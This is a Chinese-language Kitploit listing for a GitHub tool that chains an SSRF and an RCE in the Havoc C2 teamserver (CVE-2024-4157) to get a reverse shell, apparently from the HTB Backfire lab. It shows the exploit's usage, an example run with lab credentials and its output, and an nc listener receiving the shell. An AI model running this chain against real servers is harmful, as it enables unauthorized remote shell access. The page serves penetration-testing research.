Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-4157-SSRF-RCE-Reverse-Shell — 链式利用Havoc C2的SSRF与RCE漏洞以在Havoc C2服务器上获取反向Shell。 | Kitploit
工具/GitHubGitHub/ch4os1/cve-2024-4157-ssrf-rce-reverse-shell
漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队Payload 开发
GitHubch4os1/cve-2024-4157-ssrf-rce-reverse-shell

CVE-2024-4157-SSRF-RCE-Reverse-Shell

链式利用Havoc C2的SSRF与RCE漏洞以在Havoc C2服务器上获取反向Shell。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
3611个月前尚未审核

CVE-2024-4157: 在 Havoc C2 上获取反弹 Shell —— 链式利用 SSRF 与 RCE

通过本地 IP 和端口获取反弹 Shell,链式利用 CVE-2024-4157 POC 与 havoc_auth_rce

使用方法

  • 基本信息
root@kitploit:~
$ python3 exploit.py
usage: exploit.py [-h] [-t TARGET] [-i IP] [-p PORT] [-A USER_AGENT] [-H HOSTNAME] [-u USERNAME] [-d DOMAIN_NAME] [-n PROCESS_NAME] [-ip INTERNAL_IP] [-U ADMIN_USERNAME] [-P
                  PASSWORD] [-l LOCAL_IP] [-lp LOCAL_PORT]
## -t: target IP where the C2 server is running on
## -i: internal IP address that we want the C2 server to interactive with (SSRF)
## -p: internal port 
## -U: username to the C2 server
## -P: password to the C2 server
## -l: local address for the reverse shell (RCE)
## -lp: local port for the reverse shell
  • 示例
root@kitploit:~
$ python3 exploit.py -t https://10.129.150.254 -i 127.0.0.1 -p 40056 -U ilya -P 'CobaltStr1keSuckz!' -l 10.10.14.54 -lp 4444
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
  • 在 nc 监听器上接收反弹 Shell
root@kitploit:~
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.150.254] 53352
bash: cannot set terminal process group (2933): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$ 

致谢

  • 感谢 @chebuya 提供的 SSRF 漏洞,漏洞详细博客
  • 感谢 @Laurence Tennant 提供的 RCE 漏洞,博客详细说明
  • 感谢 0xdf 撰写的关于 HTB Backfire 的精彩文章

免责声明

  • 本工具仅供教育和研究目的使用
下载工具